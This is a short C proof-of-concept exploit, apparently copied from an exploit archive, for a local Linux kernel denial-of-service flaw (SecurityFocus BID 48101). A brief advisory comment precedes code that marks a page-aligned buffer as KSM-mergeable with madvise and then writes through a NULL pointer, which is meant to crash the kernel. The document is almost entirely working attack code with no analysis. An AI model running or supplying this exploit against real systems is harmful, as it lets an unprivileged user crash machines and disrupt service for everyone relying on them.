28 lines
No EOL
644 B
C
Executable file
28 lines
No EOL
644 B
C
Executable file
/*
|
|
source: http://www.securityfocus.com/bid/48101/info
|
|
|
|
The Linux kernel is prone to a local denial-of-service vulnerability.
|
|
|
|
Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/mman.h>
|
|
#define BUFSIZE getpagesize()
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
void *ptr;
|
|
if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) {
|
|
perror("posix_memalign");
|
|
exit(1);
|
|
}
|
|
if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) {
|
|
perror("madvise");
|
|
exit(1);
|
|
}
|
|
*(char *)NULL = 0;
|
|
return 0;
|
|
} |